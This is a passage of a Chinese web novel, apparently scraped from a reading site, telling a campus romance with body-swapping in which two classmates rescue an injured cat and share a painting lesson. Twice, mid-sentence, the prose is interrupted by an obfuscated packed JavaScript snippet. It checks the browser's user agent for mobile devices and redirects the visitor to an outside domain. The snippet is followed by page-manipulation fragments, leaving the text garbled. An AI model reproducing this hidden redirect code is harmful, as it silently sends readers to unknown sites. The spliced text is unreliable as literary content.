阮西颜“扑哧”笑开怀了,半是好笑半是不可思议:“原来你们都是这么看我啊?我要是给三中捐楼,我也不至于整天打球被秃鹫抓了。” “就学校食堂旁边的那个篮球场,是我爸投资建的,二三十来万。楼没捐过,我妈脑子清醒呢,给三中捐楼,还不如给我饭卡多打点钱。” 他想了想:“校长是我舅妈亲戚,他就比较关照我。嗯,最多,抓我吃饭检讨让我少写一千字。别人写两千字。” 听正主在线辟谣,其实挺有意思的。两人路过街边一家网吧,那里在放歌。 “视线斑驳漫长的夜怎么过” “紧紧拥抱的感觉就像发生在昨天” “我拼尽全力实现对你的诺言” “我像掉进漩涡……” 路洱低着眼睛,看见水坑里映着五光十色的熠熠的灯牌影。 阮西颜在她耳边说话了:“你是不是很喜欢这首歌?” “什么?”路洱微愣地抬起目光。 “你很喜欢这首歌吧。我在app里看见你一直单曲循环这首歌,听了两百多遍。” 路洱顿了一会儿回答:“嗯,挺喜欢的。”她的微信名就是这首歌的名。 两人接着走了一阵,路洱眺了眺远处,发现了路边的公交车站台:“你送我到那里就好了。你也早点回去。” 阮西颜说好,一直到目送她上了最后一班车才肯回去。 路洱到家时,崔凤跟路国烊倚在沙发看电视。进来后只有崔凤瞟了瞟她,路洱目不斜视,象征性打了招呼,就径直地朝卧室去。 她洗过澡出来,手机电话响了。路洱接起,发现是外卖员的电话,外卖已经送到门口了。 路洱诧异,她没有点外卖啊。去门口偷偷地领了外卖回来,路洱看见了上面的备注:“没胃口也得吃晚饭。不知道你喜欢吃什么,点了份我去过的店,他们家粥很好吃(˙▽˙)外卖小姐姐小哥哥请不要敲门,到了下楼再打电话。” 是谁给她点的,不言而喻。 路洱抓着外卖包装的手绞紧了些,她跳出电话界面,给阮西颜发去一条谢谢。 几秒钟后,阮西颜秒回了个不客气的表情包。 路洱上下划动两人的聊天记录,这几天来,她和阮西颜总共的对话,比她通讯录中哪个联系人的加起来都多。 他都变成她现在最常联系的人了。 14. 第十四章 下了语文课,一波人收掇着书包离开。大半个教室空下来,等待着另一来波上英语课的人。 阮西颜掉身,挑了个比较后边的位置坐。他书包没关链子,有份笔记落在了地上,哗啦啦地敞开好几页。 他捡起来才发现这是语文笔记。这几天路洱代他的课,做了不少笔记。从满满几页的字迹、工整详细的内容,都能看出主人对这份笔记有多么的不松懈。 书包里侧还有个写着路洱名字的本子。阮西颜记得课上她第一时间做的自己那份笔记,而她那份她还没来得及摘抄。 阮西颜想,路洱帮自己这么多忙,替人抄个笔记不算什么吧……但愿她不会嫌弃他字不好看。 写了一会儿,阮西颜想到什么,转头在后面桌子醒目的地方摆上一本书。明示这个位有主了。 陶仰年进来时,发现阮西颜一直垂着头,聚精会神做着什么的模样,便神秘兮兮地绕到他跟前:“干嘛呢?” “抄笔记。”阮西颜眼睛半点没抬起过。 陶仰年惊了,联想起这几日里阮西颜的处处不对劲,就砸吧嘴说:“咋,欸,我发现了,你这小子最近真的好奇怪啊!你不会真的要偷偷努力,然后想开学惊艳所有人吧?” 阮西颜懒得跟他解释,只扭头看了看后座,又望向门口:“路洱还没来吗?”快上课了。 “不知道,我今天没在楼梯口碰见她。”陶仰年想起什么兴奋地说,“哎,我是不是还没跟你说,我跟她表白了。她没有同意,但是给了我追她的机会。” “该说不说,学霸不愧是学霸,成绩也要门当户对吗。她说我数学得考一百以上,为爱学数学,想想都伟大……” 陶仰年的碎碎念自动在阮西颜耳朵里瓦解没了。他依然只朝着后门望,直到上课了,路洱都没有来。 课间,阮西颜的后座仍空着人。他掏出手机,在键盘上敲敲打打,想问,睡过头了吗,又改成了怎么没来。 消息还停在聊天框中,米娜老师和几个同学闲谈几句,从旁边经过了。阮西颜忙叫住她:“老师,路洱今天没有来吗?” “路洱啊,她听说是过敏了,我让她好好休息,她今天就请了假。” 果然是这个缘由。阮西颜明白了起因,收起手机。他坐在原地,旁边窗户开着,有摇摆的夏风吹进来。 阮西颜不知怎地,心神似乎被那风都吹得不宁起来。他把脑袋趴低了一些,犹豫地想,要不要去看一看路洱。 也不是什么大病啊,就是过敏,药也买了也涂上了,他还要大惊小怪什么。人路洱应该也没那个要他拜访上家的想法。他这有点小题大做了吧。 阮西颜感到一阵微妙的烦,想不通,他只能觉得是这风的问题,找了个借口,把陶仰年右侧那扇窗给合上了。 阮西颜一上午都有些心不在焉,状态不佳,他干脆没上下午的课,请了次假。 今天是周五,妈妈阮淞从埃及旅游回家了。她被晒黑了不少,但整个人精神气极为饱满,一进家门就力拔山兮气盖世地嚷开了:“妈妈我回来了!” 阮棠第一个扑上来,紧随其后的是生龙活虎的大金毛:“伯母!我想死你了!” “棠棠,欸,还有毛毛,真乖。”阮淞手臂环着,结实地搂住两小家伙,“我都给你们带了从埃及拿回来的旅游纪念品,精挑细选的,保证你们喜欢。” 阮棠满脸雀跃:“伯母万岁!” “汪汪!” “西颜呢?”阮淞放开她们,眼睛四顾。 “这个啊,伯母。”阮棠忽然沉默了,“堂哥说他想尝试做午饭给我们吃,现在正在厨房里忙活呢。” 阮淞脸上的笑容慢慢灭了下去,即便离家有九十九天,她也比谁都清楚自家儿子在炸厨房上的天赋异禀。 阮西颜是突然有的这个想法。中午回家,他一个人倚在门框边发着呆,脑海里蓦然地就弹出了这个念头。对,做饭。 大概是七窍被路洱打通了,这位娇生惯养的少爷忽然就想体察民意了。嗯,应该是这样。或许也能说是查看一下最近路洱教导的结果。不管什么理由,他现在很想做饭。做得有点多了,没事,还有两个,三个(加上了毛毛)能帮他解决。 半个钟头后,阮西颜端着几盘黑暗料理出来了。阮淞跟阮棠盯着皱兮兮的粉条,又焦又碎的鸡蛋,陷入沉默。毛毛路过,鼻子无意嗅到,以为是生化武器,夹着尾巴溜掉了。 他一眨不眨地盯着面前两人,脸庞写满期待:“怎么样?” 阮淞夹了一撮勉强说得过去的鸡蛋黄,嚼了一会儿,面带微笑:“还行。” “堂哥……”阮棠想尽量让说辞委婉,可仍旧憋不住,“答应我,不要碰厨房。” 阮西颜:“……” — 阮西颜终于相信了自己在厨艺上被封穴了的事实。他放弃了,待在屋里和朋友打了一下午的游戏。 晚饭的点,阮淞带阮棠去了好友家里拜访,留阮西颜一人在家。他点了份外卖随便吃点后,就牵着毛毛出门溜圈了。 阮西颜习惯溜金毛到市中心的一所公园广场。今天换了条新路线,他听着耳机里的导航播报走。 人行道上开着蓝花楹,烟紫色的花瓣儿成堆地长,在树下仰面看,梢尖像是和那钻蓝的夜空连成了一段。 晚风不热,空气飘散着均匀的花朵细香。阮西颜转过便利店拐角,走了几步,在前边的路灯下发现了一个人影。 少女的背影单薄,被灯光拉得颇长。头发垂到了肩头,无端透出一股孤寞的感觉。 阮西颜看了又看,一会儿后开口叫她的名:“路洱?”她回过头,阮西颜追上去,他这才注意到她怀里抱着个纸盒子。盒子里装着那只黑白猫。 奶牛猫紧紧阖着眼睛,尾巴也有气无力地搭在盒子边儿上。阮西颜细瞧,看见猫毛沾了很多的血,刺鼻的腥味使得金毛敏锐地左顾右盼。 “它怎么了?” 路洱眉心锁得像打了死结:“它被野狗咬伤了肚皮,我正送它去医院。” 阮西颜再观察了下,果真发现猫咪的肚子被撕破了道口子,模糊的血肉隐约可见。 路洱脸色苍白,她出来得很急,脚上的拖鞋还没换,额角还挂着汗水。 “我把它送过去吧,我跑得比较快。”不由拒绝地,阮西颜接过了纸盒子。他把狗绳塞给路洱,拔腿就要飞奔出去,“最近的宠物医院在哪?” “就在这条路口对面。”路洱关键时刻也没管那么多了,两个人急遽地往宠物医院的方向去。 奶牛猫被送进紧急室了。路洱的掌心压在猛跳的胸口上,像是劫余后生一般,努力稳住气息。 阮西颜大口大口地喘着气,平复后,他看向旁边的路洱,她比他想象中平静得更快,眼神盯着黑白猫躺着的手术台,一声不吭。手术的场面有点血淋淋,阮西颜不忍再看。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180938|180963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过了一会儿才发觉路洱在紧张,她不停地嚅着唇瓣,手指头落在了嘴边。阮西颜听人说过,有人紧张时,会无意识啃食指甲来缓解。 原来她也会紧张吗,因为里面那只黑白色的猫。阮西颜想,他很快否定了自己的想法,对着重要的存在,发生这种事不紧张才奇怪吧。 阮西颜安慰说:“我们送得其实挺及时的。你不要担心,应该能救回来。” 路洱轻轻嗯一声,感到腿边被什么毛球蹭了蹭。她低头,大金毛用毛茸茸的脑袋轻轻地拱着她的腿,像是无声的慰藉。 路洱怕狗,不擅长和狗亲近,只是这个时候,她没有退开。 奶牛猫手术完成了。看它卧在台上歪着脑袋睡的模样,两人总算松了口气。兽医说隔一阵子还得带它来换药换绷带。 路洱犯难了。她没有收养奶牛猫的缘故,一是它本身的桀骜不驯,二是二婶坚决不允许有动物在家。把奶牛猫放回小区又不安全,医院也没有留着给野生动物过夜的地方。 阮西颜像是看穿了她的忧虑,他说:“我来帮忙照顾它吧,我家里可以养,我妈和我妹都同意,也比较安全。” “至于毛毛,它不会介意的。”阮西颜瞥了眼守在台边的大金毛,笑道,“它巴不得有小家伙陪它玩呢。” 除此以外路洱也想不到别的办法:“……那好吧,阮西颜,辛苦你了。” 处理完这些,路洱要去结一下手术费。领了下药,结算的医疗费有九百多块。 路洱边拿手机边想,家教总共赚的钱还够支付,看来剩下的日子,她还是得去找找兼职。 路洱扫了码要转钱,兽医小姐姐望望她后边:“欸,不用付啦,刚才那个小帅哥都付过了。”她八卦地笑,“你们两个,关系不简单吧?” 路洱怔仲。她回过头,远远地就看见阮西颜在逗金毛玩,男生抛着刚从医院里搜刮来的小玩具,一个假动作,大金毛没上当,狂摇着尾巴就跳主人怀里了。阮西颜抱了个满满当当,他微垂着脸,依稀能见嘴角边亮着的小酒窝。 “今天的事都谢谢你了,”在医院门口,路洱对着阮西颜深深地鞠了个躬,“今天的医药费,我不会白要的,以后兼职赚到钱了会立马还给你的。” “没什么大不了的。这就是件顺手的事嘛。”阮西颜刚想开个玩笑挥手说受不起受不起,看她眉眼端着不似作假的样子,便也没再多说。 他们一起走在回去的路上。蓝楹花的紫似乎越来越重了,雾一样,纷纷缭缭地落在两人肩膀上。 阮西颜想起什么:“我帮你把语文笔记抄好了,找个时间给你吗?” 这是路洱今日对他说的第三句谢谢了:“麻烦了,下周一可以吗?谢谢。” “可以的。没事啊,你也帮我抄了。” 阮西颜看了她一眼:“你那个家教应该做完了吧?” 路洱说:“嗯。我打算去找新的兼职。” “好。” 阮西颜应声,他一只手牵着金毛,一只手还抱着那纸箱,他又问:“你有没有考虑来做我的补习?我是真的……缺一个补习,你成绩好,我们又是一个班的,比较方便一些,所以就……就想找你试一试。” 路洱停下脚步。她望了望他,便低下头:“可以,阮西颜,谢谢你。” “不客气。”阮西颜心里有了另一些想法,“因为我们……是朋友,对吧?” 路洱微顿:“嗯,朋友。” 15. 第十五章 两人继续走了一段路,碰见了陈想。 陈想看见齐肩的阮西颜和路洱时,下巴垮得极长:“西颜,班长?你……你们这是?” 路洱不太愿意跟别人多费口舌,还有十几步路就到她的公交车台了。她朝陈想点个头就转向阮西颜:“我先回去了,麻烦你照顾它。” “好。再见。” 路洱眼睫毛掀高看了他一眼,说:“嗯,再见。” 路洱走掉了,陈想仍扎根在原地,惊愕着:“不是,你俩?深夜在这里干嘛呢?” “没干嘛,我帮人照顾一下猫。”阮西颜努了努头,把狗绳丢给陈想,“拿着。” 陈想握住绳子,金毛追在他身后:“你们什么时候背着我这么熟了。我还认为你们是停在处于一个班,但是从来不交流的关系。” 阮西颜没说什么,他抱怀里箱子的姿势太显珍重,陈想禁不住投了几个余光过去:“你拿的什么?这么宝贵。”他脑袋伸上前,瞧见一只猫躺在里边,“真有猫。原来没骗我啊。” “骗你有什么好处吗?” 陈想笑嘻嘻:“我现在相信了,你们是纯正的照顾猫的关系。” “这个点,你怎么出现在这?” “被我爸打发出来自生自灭呗。我在烧烤店吃过出来的,在群里喊你们了,没一个来陪我撸串的。这不,出来刚好碰见你们了。” 陈想说着,上下打量阮西颜:“对了,你怎么让盛皎改变想法了?她在群里突然说要回来玩几天了,机票都买好了。” 有几簇蓝花楹花瓣飘下来,恰恰砸在了奶牛猫的脑袋顶,猫耳朵颤动了好几下。阮西颜盯着看了一会儿,觉得好笑,直到陈想重复一遍问题,才不急不慢回答:“她想回来就回来了吧。” “……”陈想的直觉告诉他跟阮西颜脱不了干系,但他也没多问,注意力撇向这只黑白猫,“这小警长猫是路洱的啊?还是一只被噶蛋的。奶多牛少,奶少牛多……” 陈想挑逗几下奶牛猫,仰着面想事的阮西颜忽地问:“你帮我个忙。” “什么?” “留意一下,附近有没有适合……我这种年纪的兼职。” 陈想睇他,震惊道:“你想做兼职?不是吧,阮大少爷还缺钱吗。” 阮西颜没把真正缘由告知他:“……帮朋友找。”陈想还想刨根问底,阮西颜作势要踹他,“你找就行,别问那么多。” “好吧。你朋友满十六没?我记得不到十六岁好像大部分活都干不了的吧。” “……”阮西颜也不清楚路洱的实际年纪,他推测应该差不了多少,“满了吧。有空我问问。” — 周六,路洱醒得早。七月的白日比哪个月都亮得快,但天气预报显示会从早上开始下雨,天中聚集着大量的铅云,伴随着闷闷的空气。 路洱洗漱过出来,眼见那铅灰色的云越发低沉了,她略一犹疑,给阮西颜拨去了电话。 电话响了几秒被接通:“喂?” “阮西颜,你醒了吗?” “我醒了。我在吃早饭,怎么了吗?” 路洱的上身撑在窗台上,她露出一只手去接雨滴:“我想试验一下我们的灵魂互换,到底和下雨有没有关系。现在,快下雨了。” “啊,好啊。” 三,二,一。路洱在心里默念,第一颗雨珠子砸在手心时,她感到眼睛像是被什么照了一般晃了下,再打开时,周边俨然已是一副陌生的景象。她余光一瞥,看见手中还握着杯热牛奶。 路洱做着深呼吸,想,猜对了。 电话还没挂,那头的阮西颜有些懵又有些兴奋:“我的天,真变过来了?” “还真的和下雨有关啊。你好厉害,预言家吧。”阮西颜还在这边惊叹,那边的路洱就花了几秒接受了这个消息。她把热牛奶慢慢饮尽,想着什么,问阮西颜:“你周末有美术课的,对吧?” “对,美术课在下午。”记起这事阮西颜头疼了,他脑子飞转一圈说,“我现在赶过去吧,教你一些东西,大致能应付过去。” “好。” 挂断电话,阮西颜简单收拾了下就打算出门。路过厕所时,他顿了顿脚步。路洱这个时候还戴着口罩,不知道过敏的症状怎么样了。 阮西颜迈进厕所照镜子。红疹子消得差不多了,只有少许的星红点还沾在脸颊旁。但少女小巧的一张脸没受什么影响,至少在阮西颜看来。五官姝好,像白纸剪的花,被泼了墨彩就瞬间生动起来。 还是很好看的。阮西颜想,要是她能再多笑笑就更好了。 阮西颜没让路洱来接,来了家门口刚要输密码,又停住,选择摁门铃。路洱给他打开了门,大金毛尾随在后跟头,热乎乎地哈着气。 “你家里人不在吗?”路洱问。 “她们老早就逛街去了,一时应该回不来。” 阮西颜领路洱进了自己画室。这间画室铺着明亮的原木地板,墙上裱着大大小小、形形色色的绘画作品,有一幅油画路洱看得清楚,厚涂着斑斓的颜料,像春天。实际画作名叫做《面朝大海,春暖花开》,那是海子的一首诗歌。 阮西颜循着她的视线看见,嘴角勾着个弧度说:“那个是毕业作品,里面一部分是国美、蒲公英奖之类的赛事,还有日常摸鱼画的。” “我六岁起就开始学画画了,小学被爸妈送去少年宫学了一阵子,后来发现……还挺有天赋的。”阮西颜看着画作,右下角的年份被标得醒目,“中考时就凭着美术特长生的身份考到了三中。” 阮西颜向窗边去,那里立着架画板,防尘布把它盖得严实:“我们上课都会用到画板,有时候去外边取景写生就带上。”他掀起之后补充道,“不过大多数人也会用数位板,或者在素描本上。” “我们的课程主要学三个板块,素描、色彩、速写。”阮西颜察觉到路洱略微挪动的眼神,解释说道,“那个油画,我是个人比较有兴趣,在这方面学了一些。” 他揉揉鼻尖,自己都没发觉唇畔的笑多了几分腼腆:“因为,以后想考清华美院的油画专业,就上心了点……呃,不好意思扯远了。你下午替我上美术课,我教你一点必备的吧。” 只是这明显摆着的难题是,没有人能用仅仅的几个小时,在一个完全陌生的领域摸到精髓,乃至可能是皮毛。路洱学习跟记忆能力都很突出,但她也做不到两头抓。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16185484|180963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>阮西颜手抵着下巴,苦苦地磨了磨牙根:“果然对不学画画的人来说,太难了点。” “还是这样吧……”阮西颜想了想,“下午的课应该也是素描。我提前做份成品,上课的时候,你拿去浑水摸鱼一下应该行。” 路洱不会有异议,她点头说好:“听你的。” — 阮西颜原地坐下开画,从临近的窗台看,天放了晴,云像被乱七八糟的渍在蓝布里的奶液,太阳是蛋黄,圆润得能从天边流下来。 路洱静静地看着阮西颜画。几十分钟过去了,他依然在画板前维持着同一个动作。 路洱从来没见过阮西颜这么认真的样子,可能只是学习上没有。他对很多事、很多人都很上心。 “好了。” 大概直到手腕注了酸劲儿,阮西颜放下炭笔,边起身边想着换了副身子可使用的腕力也不一样了。他看见路洱就在一旁,不知道看了多久:“……你不是一直守在旁边吧?” “……”路洱走过去看他的画,阮西颜画了一些像是西方中世纪的桌物,一坛罐子、苹果和梨,一个线条朴实又不灰暗的桌角。路洱看不懂那些空间感和技法,只凭着本能地点了两下头,“好厉害。” “还好吧。我学很久了,不过还是谢谢你的夸奖。”阮西颜眼睛弯了弯,过了这么久,也将近了午饭的点儿。 阮西颜推算阮棠阮淞两人估摸也快回来了,不宜久留,他想了想,掉头进自己房间,在书架里抽了份素描本递给路洱:“这是我高二学期在课堂上摸鱼……画满了的,里边的画页可拆卸,你带着去,必备不时之需。” 路洱“嗯”了声,又问他介不介意自己翻一下。看他不在意地摆手,路洱才当面撩开了本子。 第一页是条狗的脸部特写。路洱端详了两三秒才发现是阮西颜家那只金毛。 第二页是教室的走廊一角。第三页…… 路洱零零散散翻下来,注意到好几面的条漫里,一只小猫出现得很频繁。 阮西颜乘着空整理了会颜料盒,他走过来,见路洱一直看着那里,探头:“啊,这个是小八。” 大概是路洱眼里的疑惑太明晃晃了,阮西颜顿了一下说明道:“是一个日本动漫的主角猫啦,chiikawa,也叫吉伊卡哇,脑袋上顶着个八字的刘海。我挺喜欢它的。” “你可能听过,这个声音。”阮西颜正思考着怎么给她描绘,脑子一抽,捏着嗓子就学小八的声线笑了两声,“哈哈。” “我们走吧。怎么了。哈啊?”阮西颜模仿了两句日语,还来了句经典的表情包,见路洱微微歪着头看他,没笑也没动,脸上顿时有点烧,转瞬又想到什么,阮西颜跑进屋。 出来时他抱了个毛绒玩偶,这只猫头顶是蓝的,尾巴是蓝的,窝在怀里刚刚好。阮西颜把玩偶举在她跟前,眼睛里的笑在闪光,连同右颊的小酒窝:“看,这个就是小八,它超级可爱。” 有那么一刻,路洱好像感到了,他眸子里载着的星星,带着莹亮跳出眼眶底,火花擦伤了她的皮肤。 看得出他很喜欢这只造型独特的猫。 “嗯,挺可爱的。”路洱心里记住了吉伊卡哇这个词。